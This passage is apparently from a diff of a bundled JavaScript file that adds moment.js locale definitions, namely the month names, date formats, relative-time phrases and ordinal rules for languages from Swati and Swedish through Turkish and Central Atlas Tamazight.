doy: 7 + } + }); + return i + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("ss", { + months: "Bhimbidvwane_Indlovana_Indlov'lenkhulu_Mabasa_Inkhwekhweti_Inhlaba_Kholwane_Ingci_Inyoni_Imphala_Lweti_Ingongoni".split("_"), + monthsShort: "Bhi_Ina_Inu_Mab_Ink_Inh_Kho_Igc_Iny_Imp_Lwe_Igo".split("_"), + weekdays: "Lisontfo_Umsombuluko_Lesibili_Lesitsatfu_Lesine_Lesihlanu_Umgcibelo".split("_"), + weekdaysShort: "Lis_Umb_Lsb_Les_Lsi_Lsh_Umg".split("_"), + weekdaysMin: "Li_Us_Lb_Lt_Ls_Lh_Ug".split("_"), + weekdaysParseExact: true, + longDateFormat: { + LT: "h:mm A", + LTS: "h:mm:ss A", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY h:mm A", + LLLL: "dddd, D MMMM YYYY h:mm A" + }, + calendar: { + sameDay: "[Namuhla nga] LT", + nextDay: "[Kusasa nga] LT", + nextWeek: "dddd [nga] LT", + lastDay: "[Itolo nga] LT", + lastWeek: "dddd [leliphelile] [nga] LT", + sameElse: "L" + }, + relativeTime: { + future: "nga %s", + past: "wenteka nga %s", + s: "emizuzwana lomcane", + ss: "%d mzuzwana", + m: "umzuzu", + mm: "%d emizuzu", + h: "lihora", + hh: "%d emahora", + d: "lilanga", + dd: "%d emalanga", + M: "inyanga", + MM: "%d tinyanga", + y: "umnyaka", + yy: "%d iminyaka" + }, + meridiemParse: /ekuseni|emini|entsambama|ebusuku/, + meridiem: function (e, t, i) { + if (e < 11) { + return "ekuseni" + } else if (e < 15) { + return "emini" + } else if (e < 19) { + return "entsambama" + } else { + return "ebusuku" + } + }, + meridiemHour: function (e, t) { + if (e === 12) { + e = 0 + } + if (t === "ekuseni") { + return e + } else if (t === "emini") { + return e >= 11 ? e : e + 12 + } else if (t === "entsambama" || t === "ebusuku") { + if (e === 0) { + return 0 + } + return e + 12 + } + }, + dayOfMonthOrdinalParse: /\d{1,2}/, + ordinal: "%d", + week: { + dow: 1, + doy: 4 + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("sv", { + months: "januari_februari_mars_april_maj_juni_juli_augusti_september_oktober_november_december".split("_"), + monthsShort: "jan_feb_mar_apr_maj_jun_jul_aug_sep_okt_nov_dec".split("_"), + weekdays: "söndag_måndag_tisdag_onsdag_torsdag_fredag_lördag".split("_"), + weekdaysShort: "sön_mån_tis_ons_tor_fre_lör".split("_"), + weekdaysMin: "sö_må_ti_on_to_fr_lö".split("_"), + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "YYYY-MM-DD", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY [kl.] HH:mm", + LLLL: "dddd D MMMM YYYY [kl.] HH:mm", + lll: "D MMM YYYY HH:mm", + llll: "ddd D MMM YYYY HH:mm" + }, + calendar: { + sameDay: "[Idag] LT", + nextDay: "[Imorgon] LT", + lastDay: "[Igår] LT", + nextWeek: "[På] dddd LT", + lastWeek: "[I] dddd[s] LT", + sameElse: "L" + }, + relativeTime: { + future: "om %s", + past: "för %s sedan", + s: "några sekunder", + ss: "%d sekunder", + m: "en minut", + mm: "%d minuter", + h: "en timme", + hh: "%d timmar", + d: "en dag", + dd: "%d dagar", + M: "en månad", + MM: "%d månader", + y: "ett år", + yy: "%d år" + }, + dayOfMonthOrdinalParse: /\d{1,2}(e|a)/, + ordinal: function (e) { + var t = e % 10, + i = ~~(e % 100 / 10) === 1 ? "e" : t === 1 ? "a" : t === 2 ? "a" : t === 3 ? "e" : "e"; + return e + i + }, + week: { + dow: 1, + doy: 4 + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("sw", { + months: "Januari_Februari_Machi_Aprili_Mei_Juni_Julai_Agosti_Septemba_Oktoba_Novemba_Desemba".split("_"), + monthsShort: "Jan_Feb_Mac_Apr_Mei_Jun_Jul_Ago_Sep_Okt_Nov_Des".split("_"), + weekdays: "Jumapili_Jumatatu_Jumanne_Jumatano_Alhamisi_Ijumaa_Jumamosi".split("_"), + weekdaysShort: "Jpl_Jtat_Jnne_Jtan_Alh_Ijm_Jmos".split("_"), + weekdaysMin: "J2_J3_J4_J5_Al_Ij_J1".split("_"), + weekdaysParseExact: true, + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD.MM.YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY HH:mm", + LLLL: "dddd, D MMMM YYYY HH:mm" + }, + calendar: { + sameDay: "[leo saa] LT", + nextDay: "[kesho saa] LT", + nextWeek: "[wiki ijayo] dddd [saat] LT", + lastDay: "[jana] LT", + lastWeek: "[wiki iliyopita] dddd [saat] LT", + sameElse: "L" + }, + relativeTime: { + future: "%s baadaye", + past: "tokea %s", + s: "hivi punde", + ss: "sekunde %d", + m: "dakika moja", + mm: "dakika %d", + h: "saa limoja", + hh: "masaa %d", + d: "siku moja", + dd: "masiku %d", + M: "mwezi mmoja", + MM: "miezi %d", + y: "mwaka mmoja", + yy: "miaka %d" + }, + week: { + dow: 1, + doy: 7 + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = { + 1: "௧", + 2: "௨", + 3: "௩", + 4: "௪", + 5: "௫", + 6: "௬", + 7: "௭", + 8: "௮", + 9: "௯", + 0: "௦" + }, + i = { + "௧": "1", + "௨": "2", + "௩": "3", + "௪": "4", + "௫": "5", + "௬": "6", + "௭": "7", + "௮": "8", + "௯": "9", + "௦": "0" + }; + var n = e.defineLocale("ta", { + months: "ஜனவரி_பிப்ரவரி_மார்ச்_ஏப்ரல்_மே_ஜூன்_ஜூலை_ஆகஸ்ட்_செப்டெம்பர்_அக்டோபர்_நவம்பர்_டிசம்பர்".split("_"), + monthsShort: "ஜனவரி_பிப்ரவரி_மார்ச்_ஏப்ரல்_மே_ஜூன்_ஜூலை_ஆகஸ்ட்_செப்டெம்பர்_அக்டோபர்_நவம்பர்_டிசம்பர்".split("_"), + weekdays: "ஞாயிற்றுக்கிழமை_திங்கட்கிழமை_செவ்வாய்கிழமை_புதன்கிழமை_வியாழக்கிழமை_வெள்ளிக்கிழமை_சனிக்கிழமை".split("_"), + weekdaysShort: "ஞாயிறு_திங்கள்_செவ்வாய்_புதன்_வியாழன்_வெள்ளி_சனி".split("_"), + weekdaysMin: "ஞா_தி_செ_பு_வி_வெ_ச".split("_"), + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY, HH:mm", + LLLL: "dddd, D MMMM YYYY, HH:mm" + }, + calendar: { + sameDay: "[இன்று] LT", + nextDay: "[நாளை] LT", + nextWeek: "dddd, LT", + lastDay: "[நேற்று] LT", + lastWeek: "[கடந்த வாரம்] dddd, LT", + sameElse: "L" + }, + relativeTime: { + future: "%s இல்", + past: "%s முன்", + s: "ஒரு சில விநாடிகள்", + ss: "%d விநாடிகள்", + m: "ஒரு நிமிடம்", + mm: "%d நிமிடங்கள்", + h: "ஒரு மணி நேரம்", + hh: "%d மணி நேரம்", + d: "ஒரு நாள்", + dd: "%d நாட்கள்", + M: "ஒரு மாதம்", + MM: "%d மாதங்கள்", + y: "ஒரு வருடம்", + yy: "%d ஆண்டுகள்" + }, + dayOfMonthOrdinalParse: /\d{1,2}வது/, + ordinal: function (e) { + return e + "வது" + }, + preparse: function (e) { + return e.replace(/[௧௨௩௪௫௬௭௮௯௦]/g, function (e) { + return i[e] + }) + }, + postformat: function (e) { + return e.replace(/\d/g, function (e) { + return t[e] + }) + }, + meridiemParse: /யாமம்|வைகறை|காலை|நண்பகல்|எற்பாடு|மாலை/, + meridiem: function (e, t, i) { + if (e < 2) { + return " யாமம்" + } else if (e < 6) { + return " வைகறை" + } else if (e < 10) { + return " காலை" + } else if (e < 14) { + return " நண்பகல்" + } else if (e < 18) { + return " எற்பாடு" + } else if (e < 22) { + return " மாலை" + } else { + return " யாமம்" + } + }, + meridiemHour: function (e, t) { + if (e === 12) { + e = 0 + } + if (t === "யாமம்") { + return e < 2 ? e : e + 12 + } else if (t === "வைகறை" || t === "காலை") { + return e + } else if (t === "நண்பகல்") { + return e >= 10 ? e : e + 12 + } else { + return e + 12 + } + }, + week: { + dow: 0, + doy: 6 + } + }); + return n + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("te", { + months: "జనవరి_ఫిబ్రవరి_మార్చి_ఏప్రిల్_మే_జూన్_జులై_ఆగస్టు_సెప్టెంబర్_అక్టోబర్_నవంబర్_డిసెంబర్".split("_"), + monthsShort: "జన._ఫిబ్ర._మార్చి_ఏప్రి._మే_జూన్_జులై_ఆగ._సెప్._అక్టో._నవ._డిసె.".split("_"), + monthsParseExact: true, + weekdays: "ఆదివారం_సోమవారం_మంగళవారం_బుధవారం_గురువారం_శుక్రవారం_శనివారం".split("_"), + weekdaysShort: "ఆది_సోమ_మంగళ_బుధ_గురు_శుక్ర_శని".split("_"), + weekdaysMin: "ఆ_సో_మం_బు_గు_శు_శ".split("_"), + longDateFormat: { + LT: "A h:mm", + LTS: "A h:mm:ss", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY, A h:mm", + LLLL: "dddd, D MMMM YYYY, A h:mm" + }, + calendar: { + sameDay: "[నేడు] LT", + nextDay: "[రేపు] LT", + nextWeek: "dddd, LT", + lastDay: "[నిన్న] LT", + lastWeek: "[గత] dddd, LT", + sameElse: "L" + }, + relativeTime: { + future: "%s లో", + past: "%s క్రితం", + s: "కొన్ని క్షణాలు", + ss: "%d సెకన్లు", + m: "ఒక నిమిషం", + mm: "%d నిమిషాలు", + h: "ఒక గంట", + hh: "%d గంటలు", + d: "ఒక రోజు", + dd: "%d రోజులు", + M: "ఒక నెల", + MM: "%d నెలలు", + y: "ఒక సంవత్సరం", + yy: "%d సంవత్సరాలు" + }, + dayOfMonthOrdinalParse: /\d{1,2}వ/, + ordinal: "%dవ", + meridiemParse: /రాత్రి|ఉదయం|మధ్యాహ్నం|సాయంత్రం/, + meridiemHour: function (e, t) { + if (e === 12) { + e = 0 + } + if (t === "రాత్రి") { + return e < 4 ? e : e + 12 + } else if (t === "ఉదయం") { + return e + } else if (t === "మధ్యాహ్నం") { + return e >= 10 ? e : e + 12 + } else if (t === "సాయంత్రం") { + return e + 12 + } + }, + meridiem: function (e, t, i) { + if (e < 4) { + return "రాత్రి" + } else if (e < 10) { + return "ఉదయం" + } else if (e < 17) { + return "మధ్యాహ్నం" + } else if (e < 20) { + return "సాయంత్రం" + } else { + return "రాత్రి" + } + }, + week: { + dow: 0, + doy: 6 + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("tet", { + months: "Janeiru_Fevereiru_Marsu_Abril_Maiu_Juñu_Jullu_Agustu_Setembru_Outubru_Novembru_Dezembru".split("_"), + monthsShort: "Jan_Fev_Mar_Abr_Mai_Jun_Jul_Ago_Set_Out_Nov_Dez".split("_"), + weekdays: "Domingu_Segunda_Tersa_Kuarta_Kinta_Sesta_Sabadu".split("_"), + weekdaysShort: "Dom_Seg_Ters_Kua_Kint_Sest_Sab".split("_"), + weekdaysMin: "Do_Seg_Te_Ku_Ki_Ses_Sa".split("_"), + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY HH:mm", + LLLL: "dddd, D MMMM YYYY HH:mm" + }, + calendar: { + sameDay: "[Ohin iha] LT", + nextDay: "[Aban iha] LT", + nextWeek: "dddd [iha] LT", + lastDay: "[Horiseik iha] LT", + lastWeek: "dddd [semana kotuk] [iha] LT", + sameElse: "L" + }, + relativeTime: { + future: "iha %s", + past: "%s liuba", + s: "minutu balun", + ss: "minutu %d", + m: "minutu ida", + mm: "minutu %d", + h: "oras ida", + hh: "oras %d", + d: "loron ida", + dd: "loron %d", + M: "fulan ida", + MM: "fulan %d", + y: "tinan ida", + yy: "tinan %d" + }, + dayOfMonthOrdinalParse: /\d{1,2}(st|nd|rd|th)/, + ordinal: function (e) { + var t = e % 10, + i = ~~(e % 100 / 10) === 1 ? "th" : t === 1 ? "st" : t === 2 ? "nd" : t === 3 ? "rd" : "th"; + return e + i + }, + week: { + dow: 1, + doy: 4 + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = { + 0: "-ум", + 1: "-ум", + 2: "-юм", + 3: "-юм", + 4: "-ум", + 5: "-ум", + 6: "-ум", + 7: "-ум", + 8: "-ум", + 9: "-ум", + 10: "-ум", + 12: "-ум", + 13: "-ум", + 20: "-ум", + 30: "-юм", + 40: "-ум", + 50: "-ум", + 60: "-ум", + 70: "-ум", + 80: "-ум", + 90: "-ум", + 100: "-ум" + }; + var i = e.defineLocale("tg", { + months: "январ_феврал_март_апрел_май_июн_июл_август_сентябр_октябр_ноябр_декабр".split("_"), + monthsShort: "янв_фев_мар_апр_май_июн_июл_авг_сен_окт_ноя_дек".split("_"), + weekdays: "якшанбе_душанбе_сешанбе_чоршанбе_панҷшанбе_ҷумъа_шанбе".split("_"), + weekdaysShort: "яшб_дшб_сшб_чшб_пшб_ҷум_шнб".split("_"), + weekdaysMin: "яш_дш_сш_чш_пш_ҷм_шб".split("_"), + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY HH:mm", + LLLL: "dddd, D MMMM YYYY HH:mm" + }, + calendar: { + sameDay: "[Имрӯз соати] LT", + nextDay: "[Пагоҳ соати] LT", + lastDay: "[Дирӯз соати] LT", + nextWeek: "dddd[и] [ҳафтаи оянда соати] LT", + lastWeek: "dddd[и] [ҳафтаи гузашта соати] LT", + sameElse: "L" + }, + relativeTime: { + future: "баъди %s", + past: "%s пеш", + s: "якчанд сония", + m: "як дақиқа", + mm: "%d дақиқа", + h: "як соат", + hh: "%d соат", + d: "як рӯз", + dd: "%d рӯз", + M: "як моҳ", + MM: "%d моҳ", + y: "як сол", + yy: "%d сол" + }, + meridiemParse: /шаб|субҳ|рӯз|бегоҳ/, + meridiemHour: function (e, t) { + if (e === 12) { + e = 0 + } + if (t === "шаб") { + return e < 4 ? e : e + 12 + } else if (t === "субҳ") { + return e + } else if (t === "рӯз") { + return e >= 11 ? e : e + 12 + } else if (t === "бегоҳ") { + return e + 12 + } + }, + meridiem: function (e, t, i) { + if (e < 4) { + return "шаб" + } else if (e < 11) { + return "субҳ" + } else if (e < 16) { + return "рӯз" + } else if (e < 19) { + return "бегоҳ" + } else { + return "шаб" + } + }, + dayOfMonthOrdinalParse: /\d{1,2}-(ум|юм)/, + ordinal: function (e) { + var i = e % 10, + n = e >= 100 ? 100 : null; + return e + (t[e] || t[i] || t[n]) + }, + week: { + dow: 1, + doy: 7 + } + }); + return i + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("th", { + months: "มกราคม_กุมภาพันธ์_มีนาคม_เมษายน_พฤษภาคม_มิถุนายน_กรกฎาคม_สิงหาคม_กันยายน_ตุลาคม_พฤศจิกายน_ธันวาคม".split("_"), + monthsShort: "ม.ค._ก.พ._มี.ค._เม.ย._พ.ค._มิ.ย._ก.ค._ส.ค._ก.ย._ต.ค._พ.ย._ธ.ค.".split("_"), + monthsParseExact: true, + weekdays: "อาทิตย์_จันทร์_อังคาร_พุธ_พฤหัสบดี_ศุกร์_เสาร์".split("_"), + weekdaysShort: "อาทิตย์_จันทร์_อังคาร_พุธ_พฤหัส_ศุกร์_เสาร์".split("_"), + weekdaysMin: "อา._จ._อ._พ._พฤ._ศ._ส.".split("_"), + weekdaysParseExact: true, + longDateFormat: { + LT: "H:mm", + LTS: "H:mm:ss", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY เวลา H:mm", + LLLL: "วันddddที่ D MMMM YYYY เวลา H:mm" + }, + meridiemParse: /ก่อนเที่ยง|หลังเที่ยง/, + isPM: function (e) { + return e === "หลังเที่ยง" + }, + meridiem: function (e, t, i) { + if (e < 12) { + return "ก่อนเที่ยง" + } else { + return "หลังเที่ยง" + } + }, + calendar: { + sameDay: "[วันนี้ เวลา] LT", + nextDay: "[พรุ่งนี้ เวลา] LT", + nextWeek: "dddd[หน้า เวลา] LT", + lastDay: "[เมื่อวานนี้ เวลา] LT", + lastWeek: "[วัน]dddd[ที่แล้ว เวลา] LT", + sameElse: "L" + }, + relativeTime: { + future: "อีก %s", + past: "%sที่แล้ว", + s: "ไม่กี่วินาที", + ss: "%d วินาที", + m: "1 นาที", + mm: "%d นาที", + h: "1 ชั่วโมง", + hh: "%d ชั่วโมง", + d: "1 วัน", + dd: "%d วัน", + M: "1 เดือน", + MM: "%d เดือน", + y: "1 ปี", + yy: "%d ปี" + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("tl-ph", { + months: "Enero_Pebrero_Marso_Abril_Mayo_Hunyo_Hulyo_Agosto_Setyembre_Oktubre_Nobyembre_Disyembre".split("_"), + monthsShort: "Ene_Peb_Mar_Abr_May_Hun_Hul_Ago_Set_Okt_Nob_Dis".split("_"), + weekdays: "Linggo_Lunes_Martes_Miyerkules_Huwebes_Biyernes_Sabado".split("_"), + weekdaysShort: "Lin_Lun_Mar_Miy_Huw_Biy_Sab".split("_"), + weekdaysMin: "Li_Lu_Ma_Mi_Hu_Bi_Sab".split("_"), + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "MM/D/YYYY", + LL: "MMMM D, YYYY", + LLL: "MMMM D, YYYY HH:mm", + LLLL: "dddd, MMMM DD, YYYY HH:mm" + }, + calendar: { + sameDay: "LT [ngayong araw]", + nextDay: "[Bukas ng] LT", + nextWeek: "LT [sa susunod na] dddd", + lastDay: "LT [kahapon]", + lastWeek: "LT [noong nakaraang] dddd", + sameElse: "L" + }, + relativeTime: { + future: "sa loob ng %s", + past: "%s ang nakalipas", + s: "ilang segundo", + ss: "%d segundo", + m: "isang minuto", + mm: "%d minuto", + h: "isang oras", + hh: "%d oras", + d: "isang araw", + dd: "%d araw", + M: "isang buwan", + MM: "%d buwan", + y: "isang taon", + yy: "%d taon" + }, + dayOfMonthOrdinalParse: /\d{1,2}/, + ordinal: function (e) { + return e + }, + week: { + dow: 1, + doy: 4 + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = "pagh_wa’_cha’_wej_loS_vagh_jav_Soch_chorgh_Hut".split("_"); + + function i(e) { + var t = e; + t = e.indexOf("jaj") !== -1 ? t.slice(0, -3) + "leS" : e.indexOf("jar") !== -1 ? t.slice(0, -3) + "waQ" : e.indexOf("DIS") !== -1 ? t.slice(0, -3) + "nem" : t + " pIq"; + return t + } + + function n(e) { + var t = e; + t = e.indexOf("jaj") !== -1 ? t.slice(0, -3) + "Hu’" : e.indexOf("jar") !== -1 ? t.slice(0, -3) + "wen" : e.indexOf("DIS") !== -1 ? t.slice(0, -3) + "ben" : t + " ret"; + return t + } + + function r(e, t, i, n) { + var r = a(e); + switch (i) { + case "ss": + return r + " lup"; + case "mm": + return r + " tup"; + case "hh": + return r + " rep"; + case "dd": + return r + " jaj"; + case "MM": + return r + " jar"; + case "yy": + return r + " DIS" + } + } + + function a(e) { + var i = Math.floor(e % 1e3 / 100), + n = Math.floor(e % 100 / 10), + r = e % 10, + a = ""; + if (i > 0) { + a += t[i] + "vatlh" + } + if (n > 0) { + a += (a !== "" ? " " : "") + t[n] + "maH" + } + if (r > 0) { + a += (a !== "" ? " " : "") + t[r] + } + return a === "" ? "pagh" : a + } + var s = e.defineLocale("tlh", { + months: "tera’ jar wa’_tera’ jar cha’_tera’ jar wej_tera’ jar loS_tera’ jar vagh_tera’ jar jav_tera’ jar Soch_tera’ jar chorgh_tera’ jar Hut_tera’ jar wa’maH_tera’ jar wa’maH wa’_tera’ jar wa’maH cha’".split("_"), + monthsShort: "jar wa’_jar cha’_jar wej_jar loS_jar vagh_jar jav_jar Soch_jar chorgh_jar Hut_jar wa’maH_jar wa’maH wa’_jar wa’maH cha’".split("_"), + monthsParseExact: true, + weekdays: "lojmItjaj_DaSjaj_povjaj_ghItlhjaj_loghjaj_buqjaj_ghInjaj".split("_"), + weekdaysShort: "lojmItjaj_DaSjaj_povjaj_ghItlhjaj_loghjaj_buqjaj_ghInjaj".split("_"), + weekdaysMin: "lojmItjaj_DaSjaj_povjaj_ghItlhjaj_loghjaj_buqjaj_ghInjaj".split("_"), + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD.MM.YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY HH:mm", + LLLL: "dddd, D MMMM YYYY HH:mm" + }, + calendar: { + sameDay: "[DaHjaj] LT", + nextDay: "[wa’leS] LT", + nextWeek: "LLL", + lastDay: "[wa’Hu’] LT", + lastWeek: "LLL", + sameElse: "L" + }, + relativeTime: { + future: i, + past: n, + s: "puS lup", + ss: r, + m: "wa’ tup", + mm: r, + h: "wa’ rep", + hh: r, + d: "wa’ jaj", + dd: r, + M: "wa’ jar", + MM: r, + y: "wa’ DIS", + yy: r + }, + dayOfMonthOrdinalParse: /\d{1,2}\./, + ordinal: "%d.", + week: { + dow: 1, + doy: 4 + } + }); + return s + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = { + 1: "'inci", + 5: "'inci", + 8: "'inci", + 70: "'inci", + 80: "'inci", + 2: "'nci", + 7: "'nci", + 20: "'nci", + 50: "'nci", + 3: "'üncü", + 4: "'üncü", + 100: "'üncü", + 6: "'ncı", + 9: "'uncu", + 10: "'uncu", + 30: "'uncu", + 60: "'ıncı", + 90: "'ıncı" + }; + var i = e.defineLocale("tr", { + months: "Ocak_Şubat_Mart_Nisan_Mayıs_Haziran_Temmuz_Ağustos_Eylül_Ekim_Kasım_Aralık".split("_"), + monthsShort: "Oca_Şub_Mar_Nis_May_Haz_Tem_Ağu_Eyl_Eki_Kas_Ara".split("_"), + weekdays: "Pazar_Pazartesi_Salı_Çarşamba_Perşembe_Cuma_Cumartesi".split("_"), + weekdaysShort: "Paz_Pts_Sal_Çar_Per_Cum_Cts".split("_"), + weekdaysMin: "Pz_Pt_Sa_Ça_Pe_Cu_Ct".split("_"), + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD.MM.YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY HH:mm", + LLLL: "dddd, D MMMM YYYY HH:mm" + }, + calendar: { + sameDay: "[bugün saat] LT", + nextDay: "[yarın saat] LT", + nextWeek: "[gelecek] dddd [saat] LT", + lastDay: "[dün] LT", + lastWeek: "[geçen] dddd [saat] LT", + sameElse: "L" + }, + relativeTime: { + future: "%s sonra", + past: "%s önce", + s: "birkaç saniye", + ss: "%d saniye", + m: "bir dakika", + mm: "%d dakika", + h: "bir saat", + hh: "%d saat", + d: "bir gün", + dd: "%d gün", + M: "bir ay", + MM: "%d ay", + y: "bir yıl", + yy: "%d yıl" + }, + ordinal: function (e, i) { + switch (i) { + case "d": + case "D": + case "Do": + case "DD": + return e; + default: + if (e === 0) { + return e + "'ıncı" + } + var n = e % 10, + r = e % 100 - n, + a = e >= 100 ? 100 : null; + return e + (t[n] || t[r] || t[a]) + } + }, + week: { + dow: 1, + doy: 7 + } + }); + return i + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("tzl", { + months: "Januar_Fevraglh_Març_Avrïu_Mai_Gün_Julia_Guscht_Setemvar_Listopäts_Noemvar_Zecemvar".split("_"), + monthsShort: "Jan_Fev_Mar_Avr_Mai_Gün_Jul_Gus_Set_Lis_Noe_Zec".split("_"), + weekdays: "Súladi_Lúneçi_Maitzi_Márcuri_Xhúadi_Viénerçi_Sáturi".split("_"), + weekdaysShort: "Súl_Lún_Mai_Már_Xhú_Vié_Sát".split("_"), + weekdaysMin: "Sú_Lú_Ma_Má_Xh_Vi_Sá".split("_"), + longDateFormat: { + LT: "HH.mm", + LTS: "HH.mm.ss", + L: "DD.MM.YYYY", + LL: "D. MMMM [dallas] YYYY", + LLL: "D. MMMM [dallas] YYYY HH.mm", + LLLL: "dddd, [li] D. MMMM [dallas] YYYY HH.mm" + }, + meridiemParse: /d\'o|d\'a/i, + isPM: function (e) { + return "d'o" === e.toLowerCase() + }, + meridiem: function (e, t, i) { + if (e > 11) { + return i ? "d'o" : "D'O" + } else { + return i ? "d'a" : "D'A" + } + }, + calendar: { + sameDay: "[oxhi à] LT", + nextDay: "[demà à] LT", + nextWeek: "dddd [à] LT", + lastDay: "[ieiri à] LT", + lastWeek: "[sür el] dddd [lasteu à] LT", + sameElse: "L" + }, + relativeTime: { + future: "osprei %s", + past: "ja%s", + s: i, + ss: i, + m: i, + mm: i, + h: i, + hh: i, + d: i, + dd: i, + M: i, + MM: i, + y: i, + yy: i + }, + dayOfMonthOrdinalParse: /\d{1,2}\./, + ordinal: "%d.", + week: { + dow: 1, + doy: 4 + } + }); + + function i(e, t, i, n) { + var r = { + s: ["viensas secunds", "'iensas secunds"], + ss: [e + " secunds", "" + e + " secunds"], + m: ["'n míut", "'iens míut"], + mm: [e + " míuts", "" + e + " míuts"], + h: ["'n þora", "'iensa þora"], + hh: [e + " þoras", "" + e + " þoras"], + d: ["'n ziua", "'iensa ziua"], + dd: [e + " ziuas", "" + e + " ziuas"], + M: ["'n mes", "'iens mes"], + MM: [e + " mesen", "" + e + " mesen"], + y: ["'n ar", "'iens ar"], + yy: [e + " ars", "" + e + " ars"] + }; + return n ? r[i][0] : t ? r[i][0] : r[i][1] + } + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("tzm", { + months: "ⵉⵏⵏⴰⵢⵔ_ⴱⵕⴰⵢⵕ_ⵎⴰⵕⵚ_ⵉⴱⵔⵉⵔ_ⵎⴰⵢⵢⵓ_ⵢⵓⵏⵢⵓ_ⵢⵓⵍⵢⵓⵣ_ⵖⵓⵛⵜ_ⵛⵓⵜⴰⵏⴱⵉⵔ_ⴽⵟⵓⴱⵕ_ⵏⵓⵡⴰⵏⴱⵉⵔ_ⴷⵓⵊⵏⴱⵉⵔ".split("_"), + monthsShort: "ⵉⵏⵏⴰⵢⵔ_ⴱⵕⴰⵢⵕ_ⵎⴰⵕⵚ_ⵉⴱⵔⵉⵔ_ⵎⴰⵢⵢⵓ_ⵢⵓⵏⵢⵓ_ⵢⵓⵍⵢⵓⵣ_ⵖⵓⵛⵜ_ⵛⵓⵜⴰⵏⴱⵉⵔ_ⴽⵟⵓⴱⵕ_ⵏⵓⵡⴰⵏⴱⵉⵔ_ⴷⵓⵊⵏⴱⵉⵔ".split("_"), + weekdays: "ⴰⵙⴰⵎⴰⵙ_ⴰⵢⵏⴰⵙ_ⴰⵙⵉⵏⴰⵙ_ⴰⴽⵔⴰⵙ_ⴰⴽⵡⴰⵙ_ⴰⵙⵉⵎⵡⴰⵙ_ⴰⵙⵉⴹⵢⴰⵙ".split("_"), + weekdaysShort: "ⴰⵙⴰⵎⴰⵙ_ⴰⵢⵏⴰⵙ_ⴰⵙⵉⵏⴰⵙ_ⴰⴽⵔⴰⵙ_ⴰⴽⵡⴰⵙ_ⴰⵙⵉⵎⵡⴰⵙ_ⴰⵙⵉⴹⵢⴰⵙ".split("_"), + weekdaysMin: "ⴰⵙⴰⵎⴰⵙ_ⴰⵢⵏⴰⵙ_ⴰⵙⵉⵏⴰⵙ_ⴰⴽⵔⴰⵙ_ⴰⴽⵡⴰⵙ_ⴰⵙⵉⵎⵡⴰⵙ_ⴰⵙⵉⴹⵢⴰⵙ".split("_"), + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY HH:mm", + LLLL: "dddd D MMMM YYYY HH:mm" + }, + calendar: { + sameDay: "[ⴰⵙⴷⵅ ⴴ] LT", + nextDay: "[ⴰⵙⴽⴰ ⴴ] LT", + nextWeek: "dddd [ⴴ] LT", + lastDay: 